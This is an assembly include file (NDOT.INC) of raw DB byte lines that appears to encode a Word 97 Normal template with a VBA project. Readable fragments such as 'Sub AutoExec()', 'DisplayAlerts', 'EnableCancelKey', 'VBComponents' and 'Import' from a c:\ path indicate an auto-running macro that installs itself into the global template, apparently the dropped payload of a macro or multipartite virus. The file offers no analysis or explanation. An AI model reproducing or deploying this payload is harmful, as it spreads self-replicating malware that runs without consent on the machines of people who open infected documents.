DB 000H,003H,010H,004H,029H,004H,014H,013H,006H,003H,00EH,003H,004H,003H,011H
DB 024H,00FH,0F5H,003H,015H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,03FH,0F8H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,006H,010H,013H
DB 0CCH,058H,001H,0FFH,0FFH,012H,006H,010H,007H,007H,03BH,0EEH,00BH,00CH,007H
DB 020H,0FFH,0FFH,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FDH,0FFH,00BH,010H,0FFH,00FH,001H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
NDOT.INC

DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0F3H
DB 000H,00FH,010H,00EH,010H,0FEH,0FFH,0F3H,02FH,0B3H,04AH,0ABH,016H,0D3H,006H
DB 000H,000H,0E0H,085H,09FH,0F2H,0F9H,04FH,000H,0E8H,068H,010H,0ABH,091H,008H
DB 000H,02BH,027H,0B3H,0D9H,030H,002H,023H,050H,0D2H,019H,0D3H,0B9H,002H,007H
DB 06CH,055H,000H,088H,002H,010H,003H,03AH,090H,002H,008H,0D3H,027H,09CH,002H
DB 008H,004H,002H,004H,0A8H,002H,004H,005H,002H,004H,0B8H,0ABH,05AH,002H,004H
DB 0D3H,0EDH,0C4H,002H,008H,008H,002H,004H,0D4H,002H,004H,009H,002H,004H,0E4H
DB 002H,004H,0B3H,0B4H,0F0H,002H,008H,00AH,04DH,055H,002H,004H,00CH,002H,04DH
DB 0F2H,0F1H,000H,018H,002H,008H,00DH,002H,010H,024H,002H,008H,00EH,002H,008H
DB 030H,002H,008H,00FH,0ADH,0D6H,002H,008H,038H,002H,008H,003H,074H,040H,002H
DB 008H,013H,002H,010H,048H,002H,008H,003H,078H,0E4H,002H,06DH,01EH,002H,010H
DB 002H,00FH,029H,0E0H,002H,006H,073H,000H,00FH,00CH,006H,002H,016H,056H,065H
DB 063H,06EH,061H,000H,066H,009H,01CH,002H,010H,003H,028H,0C1H,00DH,003H,098H
DB 04EH,06FH,072H,06DH,061H,0E2H,037H,003H,010H,009H,02CH,000H,004H,02CH,003H
DB 060H,031H,000H,063H,06EH,003H,000H,003H,01CH,003H,074H,04DH,069H,063H,072H
DB 06FH,073H,06FH,066H,074H,020H,057H,06FH,072H,064H,018H,014H,020H,038H,02EH
DB 012H,00DH,0F2H,027H,000H,000H,08CH,086H,047H,002H,067H,000H,004H,00CH,0B0H
DB 0E8H,03DH,010H,0FFH,0B8H,065H,0BEH,001H,004H,00CH,03CH,06FH,085H,003H,00CH
DB 013H,018H,003H,0A0H,003H,008H,003H,028H,00FH,008H,01EH,08FH,00FH,00FH,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
NDOT.INC

DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0E0H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FEH,0FFH,000H,000H,004H
DB 000H,0E3H,0EEH,0E3H,09EH,009H,004H,001H,000H,003H,012H,002H,0D5H,0CDH,0D5H
DB 09CH,02EH,01BH,010H,093H,097H,008H,000H,02BH,02CH,0F9H,054H,067H,0AEH,044H
DB 002H,01FH,005H,00EH,014H,02CH,0E2H,0DDH,0E8H,002H,018H,0F3H,0C0H,002H,00BH
DB 000H,068H,002H,00CH,0F3H,0B4H,070H,0B5H,0AAH,002H,008H,005H,002H,004H,07CH
DB 002H,004H,0F3H,05CH,084H,002H,008H,011H,002H,004H,08CH,002H,004H,017H,002H
DB 004H,094H,002H,004H,0DAH,0AAH,00BH,002H,004H,09CH,002H,004H,0F3H,0DCH,0A4H
DB 002H,008H,0F3H,068H,0ACH,002H,008H,016H,002H,004H,0B4H,002H,004H,00DH,002H
DB 004H,076H,0E1H,0BCH,002H,004H,003H,05CH,0C9H,002H,008H,003H,094H,0F7H,0F4H
DB 004H,002H,010H,032H,039H,041H,000H,0F3H,050H,003H,078H,00BH,008H,0C3H,03BH
DB 002H,01BH,004H,018H,0B3H,00DH,008H,000H,003H,064H,003H,010H,00FH,008H,007H
DB 010H,01EH,002H,07DH,003H,040H,003H,004H,000H,00CH,017H,0D8H,002H,00DH,003H
DB 065H,0F3H,0F5H,007H,002H,036H,054H,0EDH,074H,075H,06CH,06FH,004H,04CH,003H
DB 020H,098H,002H,013H,003H,068H,059H,05DH,002H,007H,000H,020H,002H,005H,003H
DB 014H,036H,002H,008H,002H,002H,004H,03EH,002H,004H,003H,010H,003H,00CH,00AH
DB 002H,00CH,05FH,000H,02BH,050H,049H,044H,05FH,047H,055H,049H,044H,014H,05CH
DB 003H,0B6H,041H,002H,016H,04EH,002H,004H,07BH,000H,0FAH,0FDH,030H,00EH,002H
DB 02DH,008H,010H,00FH,00AH,003H,02AH,009H,014H,003H,00EH,00BH,004H,07DH,002H
DB 04EH,003H,003H,01FH,0D5H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00BH,010H,07DH,0BDH,0E7H,0B4H,003H,0E2H,049H,0F3H
DB 054H,0F3H,0B4H,0F3H,0B0H,0E3H,0FFH,0FEH,002H,029H,009H,002H,018H,0E3H,0D0H
DB 0F3H,030H,0F3H,088H,00DH,002H,010H,0DEH,07AH,00EH,002H,004H,0F3H,0E4H,003H
DB 020H,0F3H,0D4H,012H,002H,010H,0F3H,0BCH,014H,002H,008H,015H,002H,004H,0F3H
DB 0C0H,0F3H,0E4H,003H,020H,019H,055H,05BH,002H,010H,01AH,002H,004H,01BH,002H
DB 004H,01CH,002H,004H,01DH,002H,004H,0F3H,05FH,01FH,002H,008H,003H,020H,0FDH
NDOT.INC

DB 002H,064H,022H,0ADH,0AAH,002H,00CH,028H,002H,004H,003H,010H,025H,002H,008H
DB 026H,002H,004H,027H,002H,004H,029H,002H,004H,031H,002H,004H,02AH,002H,004H
DB 0AAH,0FAH,02BH,002H,004H,02CH,002H,004H,02DH,002H,004H,02EH,002H,004H,02FH
DB 002H,004H,030H,002H,004H,003H,034H,003H,004H,002H,047H,00FH,003H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,047H,000H,00FH,010H,00FH,010H,004H,010H,052H,000H,06FH,002H,002H
DB 074H,000H,020H,000H,045H,000H,06EH,000H,074H,010H,000H,000H,072H,000H,079H
DB 012H,056H,020H,050H,072H,06FH,067H,072H,061H,06DH,061H,073H,000H,000H,008H
DB 041H,052H,051H,055H,049H,056H,07EH,031H,000H,028H,000H,013H,08CH,000H,000H
DB 028H,026H,000H,000H,0D1H,023H,010H,000H,04DH,069H,063H,072H,06FH,073H,06FH
DB 066H,016H,000H,005H,001H,047H,024H,004H,049H,002H,005H,023H,044H,006H,009H
DB 002H,002H,040H,000H,000H,0C0H,004H,006H,000H,046H,003H,007H,0A2H,0D8H,000H
DB 080H,008H,000H,02BH,030H,030H,09DH,0C0H,0B1H,0E1H,09BH,0B8H,065H,0BEH,001H
DB 024H,002H,015H,006H,040H,040H,023H,021H,002H,008H,031H,000H,054H,000H,061H
DB 000H,062H,000H,06CH,000H,065H,002H,00EH,026H,000H,080H,04DH,017H,011H,000H
DB 041H,072H,071H,075H,069H,076H,06FH,073H,020H,064H,065H,00FH,088H,081H,001H
DB 00FH,088H,010H,000H,00EH,000H,002H,000H,002H,07BH,008H,003H,000H,04DH,049H
DB 043H,052H,04FH,053H,050H,000H,07EH,032H,000H,01EH,008H,0B0H,0DAH,003H,0B0H
DB 06FH,064H,065H,06CH,06FH,073H,000H,04DH,04FH,008H,020H,044H,045H,008H,002H
DB 06AH,000H,010H,000H,000H,026H,003H,000H,0F0H,057H,002H,0FEH,072H,000H,008H
DB 07EH,064H,000H,044H,002H,008H,063H,000H,075H,000H,06DH,002H,088H,013H,008H
DB 003H,023H,00FH,004H,00FH,010H,003H,010H,01AH,0F8H,047H,000H,002H,001H,033H
DB 034H,007H,081H,003H,014H,00FH,004H,00FH,010H,004H,010H,002H,080H,003H,008H
DB 005H,000H,053H,004H,076H,06DH,0ABH,0EAH,012H,006H,013H,07CH,049H,012H,086H
DB 066H,002H,08CH,072H,002H,08AH,061H,012H,090H,069H,002H,00CH,06EH,003H,029H
DB 00FH,004H,006H,010H,0FEH,0E3H,028H,002H,080H,013H,072H,033H,0BCH,003H,084H
DB 006H,017H,00FH,007H,00CH,010H,004H,07BH,004H,005H,000H,000H,005H,00FH,0FAH
DB 00FH,090H,00FH,090H,0FDH,056H,00EH,090H,038H,002H,080H,003H,078H,007H,004H
DB 00CH,069H,00FH,00DH,006H,010H,018H,003H,008H,006H,080H,04DH,002H,0F8H,063H
DB 022H,076H,06FH,07CH,0F4H,000H,073H,003H,016H,00FH,004H,00FH,010H,00FH,010H
DB 022H,000H,001H,001H,001H,002H,016H,00CH,002H,004H,043H,0A4H,002H,007H,00FH
DB 003H,010H,083H,000H,080H,092H,064H,024H,078H,0A0H,010H,0DAH,004H,008H,00BH
DB 021H,056H,000H,042H,000H,041H,00BH,011H,0C7H,0C7H,00FH,00CH,00FH,010H,00EH
DB 010H,008H,000H,001H,028H,080H,053H,034H,00EH,01FH,004H,00FH,007H,080H,0C0H
DB 047H,0C9H,00FH,080H,022H,0FEH,0E8H,0FFH,068H,000H,069H,002H,0FCH,044H,012H
DB 058H,02FH,080H,004H,03DH,00FH,005H,00EH,010H,023H,080H,053H,0A4H,023H,0D4H
DB 013H,084H,00EH,01FH,00FH,00FH,0FDH,0FFH,008H,010H,096H,053H,0E5H,002H,00EH
DB 013H,03CH,023H,040H,033H,0BCH,023H,044H,023H,0CCH,003H,01BH,003H,0CCH,003H
DB 054H,003H,05CH,06FH,000H,067H,000H,013H,0C3H,0BFH,0EAH,06FH,000H,06BH,000H
DB 013H,0E8H,067H,000H,053H,0A4H,06FH,000H,020H,002H,080H,021H,002H,004H,022H
DB 002H,004H,023H,002H,004H,043H,018H,06BH,000H,05FH,055H,063H,014H,063H,004H
DB 06FH,000H,06BH,000H,043H,094H,032H,002H,03CH,033H,002H,004H,034H,002H,004H
DB 035H,002H,004H,036H,002H,004H,037H,055H,055H,002H,004H,038H,002H,004H,039H
DB 002H,004H,03AH,002H,004H,03BH,002H,004H,03CH,002H,004H,03DH,002H,004H,03EH
DB 002H,004H,03FH,0ADH,05AH,002H,004H,040H,002H,004H,013H,0FCH,042H,002H,008H
DB 043H,002H,004H,044H,002H,004H,045H,002H,004H,043H,0B5H,047H,002H,008H,048H
DB 0ABH,0AAH,002H,004H,003H,0B8H,04AH,002H,008H,04BH,002H,004H,04CH,002H,004H
DB 04DH,002H,004H,04EH,002H,004H,04FH,002H,004H,050H,002H,004H,0EAH,0AAH,051H
DB 002H,004H,052H,002H,004H,053H,002H,004H,003H,02CH,003H,004H,056H,002H,00CH
DB 057H,002H,004H,058H,002H,004H,059H,002H,004H,0F6H,07FH,05AH,002H,004H,003H
DB 018H,05CH,006H,008H,013H,0A8H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,001H,0E0H,0FCH,016H,001H,000H
DB 001H,0B6H,022H,0C3H,034H,046H,002H,008H,0FFH,0FFH,002H,0A6H,004H,008H,005H
DB 00AH,003H,00EH,00FH,004H,00FH,010H,0BFH,055H,00BH,010H,023H,015H,023H,04DH
DB 023H,049H,023H,045H,008H,069H,001H,023H,04FH,003H,00EH,078H,002H,02FH,0DEH
DB 002H,004H,0F7H,022H,078H,0F5H,00FH,0D8H,022H,080H,003H,014H,002H,00FH,032H
DB 049H,000H,000H,08DH,09AH,08FH,09AH,000H,002H,07EH,023H,00FH,088H,002H,015H
DB 003H,034H,0AFH,01DH,002H,007H,00FH,003H,009H,010H,003H,0A5H,013H,002H,070H
DB 0D6H,002H,013H,003H,004H,0EBH,023H,0C5H,002H,041H,003H,018H,000H,000H,0DFH
DB 0F3H,07FH,002H,00AH,002H,019H,000H,00CH,002H,008H,003H,067H,00FH,004H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,009H,010H,023H,0CCH
NDOT.INC

DB 002H,028H,085H,000H,053H,04CH,003H,012H,000H,002H,0EBH,053H,010H,008H,00AH
DB 094H,005H,00AH,000H,000H,002H,03CH,005H,00AH,004H,054H,0FFH,0FFH,015H,08DH
DB 001H,000H,04EH,000H,030H,000H,07BH,002H,004H,030H,002H,004H,032H,002H,004H
DB 039H,0B1H,01EH,002H,004H,036H,000H,02DH,002H,006H,003H,012H,030H,00CH,00AH
DB 043H,006H,016H,009H,01EH,005H,024H,005H,006H,034H,000H,036H,000H,08CH,000H
DB 07DH,000H,019H,0A2H,0DDH,036H,002H,000H,0DFH,033H,0E1H,013H,086H,001H,001H
DB 080H,012H,01EH,0CCH,03FH,002H,081H,023H,09DH,003H,07BH,0FFH,0FFH,003H,0A7H
DB 013H,080H,002H,017H,004H,003H,005H,016H,015H,04DH,093H,0BBH,033H,0A3H,00CH
DB 011H,07CH,0FAH,01AH,002H,00BH,018H,00FH,00CH,003H,039H,007H,014H,003H,008H
DB 00DH,000H,0A3H,035H,094H,003H,017H,004H,004H,093H,0B7H,003H,018H,003H,004H
DB 0DFH,0FFH,003H,011H,022H,081H,002H,007H,022H,009H,002H,006H,000H,002H,0C5H
DB 003H,080H,003H,01CH,005H,076H,003H,00AH,00FH,032H,003H,014H,00BH,004H,004H
DB 039H,002H,005H,00FH,0FDH,007H,014H,002H,00BH,01FH,0F1H,007H,01BH,0FFH,002H
DB 000H,070H,002H,01FH,04DH,032H,0E8H,005H,013H,002H,00DH,002H,02CH,005H,006H
DB 015H,077H,01FH,0E1H,003H,00CH,00FH,004H,00FH,010H,00FH,010H,007H,010H,0FEH
DB 0CAH,001H,002H,0EEH,022H,081H,008H,000H,013H,064H,004H,016H,002H,00CH,0DFH
DB 0FFH,023H,094H,024H,0CAH,002H,00CH,053H,04DH,033H,024H,000H,002H,00CH,063H
DB 0B5H,053H,005H,003H,00CH,0B3H,015H,003H,0E8H,003H,00CH,043H,0A9H,043H,05DH
DB 003H,00CH,0DDH,0A2H,003H,030H,090H,003H,049H,002H,030H,0B3H,019H,0A0H,006H
DB 00CH,003H,018H,0C8H,003H,00CH,080H,008H,000H,003H,060H,0D8H,002H,00CH,026H
DB 03EH,004H,002H,024H,032H,055H,000H,0E0H,002H,00CH,000H,080H,009H,003H,006H
DB 002H,0DCH,012H,048H,00AH,00CH,003H,0F6H,001H,001H,012H,004H,0F0H,002H,01CH
DB 08FH,004H,004H,070H,000H,0C1H,000H,01CH,002H,013H,014H,0AFH,000H,020H,000H
DB 01EH,060H,028H,002H,028H,000H,020H,002H,002H,01DH,002H,003H,020H,000H,024H
DB 002H,005H,012H,022H,004H,012H,0F7H,000H,080H,080H,020H,000H,026H,002H,0F6H
DB 000H,0A4H,022H,0BFH,020H,000H,028H,002H,021H,000H,02AH,002H,004H,082H,009H
DB 02CH,002H,004H,02EH,002H,08BH,000H,000H,004H,018H,005H,01CH,026H,002H,007H
DB 020H,025H,000H,02CH,002H,000H,000H,001H,000H,021H,000H,030H,002H,025H,000H
DB 032H,002H,002H,000H,0AEH,000H,008H,000H,000H,0A8H,027H,043H,06FH,063H,061H
DB 069H,06EH,065H,005H,000H,094H,0A2H,020H,093H,002H,07EH,067H,032H,0A1H,08CH
DB 040H,053H,000H,007H,060H,0A3H,03BH,00CH,000H,058H,002H,02CH,00EH,000H,063H
DB 03AH,05CH,063H,005H,02EH,02EH,030H,020H,073H,079H,073H,01DH,002H,082H,009H
DB 078H,042H,040H,034H,002H,001H,000H,040H,004H,014H,042H,040H,06BH,00FH,022H
DB 0D8H,092H,0BBH,063H,092H,033H,09BH,002H,052H,013H,056H,06CH,002H,0FCH,063H
DB 083H,003H,0F2H,013H,072H,001H,0A7H,0B1H,000H,000H,000H,041H,074H,074H,072H
DB 069H,062H,075H,074H,000H,065H,020H,056H,042H,05FH,04EH,061H,081H,000H,092H
DB 0EFH,020H,03DH,020H,022H,054H,068H,072H,084H,044H,06FH,063H,075H,06DH,065H
DB 06EH,010H,000H,000H,074H,022H,00DH,00AH,00AH,08CH,042H,061H,073H,001H,002H
DB 08CH,030H,07BH,030H,030H,000H,000H,030H,032H,030H,050H,039H,030H,036H,02DH
DB 000H,010H,030H,003H,008H,043H,007H,000H,000H,000H,014H,002H,012H,001H,024H
DB 030H,030H,034H,036H,07DH,001H,00DH,07CH,043H,072H,065H,000H,000H,061H,074H
DB 061H,062H,082H,06CH,001H,086H,046H,061H,06CH,073H,065H,00CH,05EH,000H,000H
DB 000H,050H,072H,065H,064H,065H,063H,06CH,061H,089H,000H,006H,049H,064H,000H
DB 08BH,054H,000H,000H,072H,075H,00DH,022H,040H,045H,078H,070H,06FH,073H,065H
DB 014H,01CH,054H,000H,065H,000H,000H,06DH,070H,06CH,061H,074H,065H,044H,030H
DB 065H,072H,069H,076H,002H,024H,011H,065H,000H,000H,043H,075H,0C0H,073H,074H
DB 06FH,06DH,069H,07AH,004H,088H,003H,032H,000H,053H,075H,000H,000H,062H,020H
DB 041H,075H,074H,06FH,000H,045H,078H,065H,063H,028H,029H,00DH,00AH,000H,000H
DB 000H,04FH,06EH,020H,045H,072H,072H,06FH,072H,080H,020H,047H,06FH,054H,06FH
DB 020H,065H,000H,000H,000H,005H,001H,080H,055H,070H,070H,06CH,069H,063H,061H
DB 074H,080H,069H,06FH,06EH,000H,000H,02EH,044H,069H,073H,000H,035H,080H,079H
DB 041H,06CH,065H,072H,074H,073H,000H,055H,000H,000H,013H,005H,034H,008H,011H
DB 045H,06EH,081H,030H,043H,061H,06EH,040H,063H,065H,06CH,000H,000H,04BH,065H
DB 079H,000H,012H,077H,086H,064H,000H,01BH,001H,00AH,064H,00DH,00AH,046H,000H
DB 000H,080H,02DH,012H,069H,080H,009H,031H,020H,080H,02FH,04EH,06FH,072H,008H
DB 06DH,061H,000H,000H,06CH,005H,05FH,02EH,056H,042H,050H,040H,072H,06FH,06AH
DB 065H,063H,074H,080H,004H,000H,000H,043H,020H,06FH,06DH,070H,06FH,06EH,080H
DB 0C5H,073H,02EH,000H,043H,06FH,075H,06EH,000H,000H,074H,00DH,00AH,049H,044H
DB 066H,020H,0A2H,017H,028H,069H,029H,000H,019H,064H,000H,000H,004H,065H,04DH
DB 06FH,064H,075H,06CH,065H,02EH,000H,04CH,012H,0C5H,073H,028H,031H,02CH,008H
DB 040H,000H,020H,031H,029H,000H,03BH,022H,012H,0D8H,004H,063H,061H,080H,004H
DB 022H,020H,054H,068H,000H,000H,065H,002H,06EH,089H,039H,04EH,065H,078H,074H
NDOT.INC

DB 020H,069H,014H,00DH,00AH,023H,025H,000H,042H,049H,080H,027H,072H,074H,020H
DB 040H,028H,022H,013H,0D1H,083H,014H,02EH,030H,012H,0CEH,022H,000H,000H,0C0H
DB 050H,00CH,010H,053H,061H,006H,076H,040H,073H,081H,052H,03AH,00DH,00AH,045H
DB 000H,000H,06EH,024H,064H,020H,0C0H,05CH,00DH,00AH,041H,000H,0D0H,0CFH,011H
DB 0E0H,0A1H,0B1H,008H,008H,01AH,0E1H,000H,00EH,001H,03EH,000H,003H,000H,0FEH
DB 0FFH,009H,039H,05DH,000H,0CCH,061H,05EH,081H,00CH,053H,04FH,0FFH,016H,004H
DB 000H,000H,009H,002H,004H,0E4H,004H,047H,049H,003H,017H,005H,000H,002H,000H
DB 000H,0AEH,02CH,001H,02AH,000H,05CH,000H,047H,000H,07BH,042H,05BH,053H,00CH
DB 053H,048H,034H,0C2H,0EEH,046H,05CH,03EH,0F3H,020H,003H,01AH,003H,004H,02DH
DB 000H,05FH,048H,003H,016H,009H,004H,055H,048H,023H,000H,033H,000H,02EH,002H
DB 050H,023H,000H,028H,000H,039H,000H,023H,002H,032H,03AH,002H,062H,041H,000H
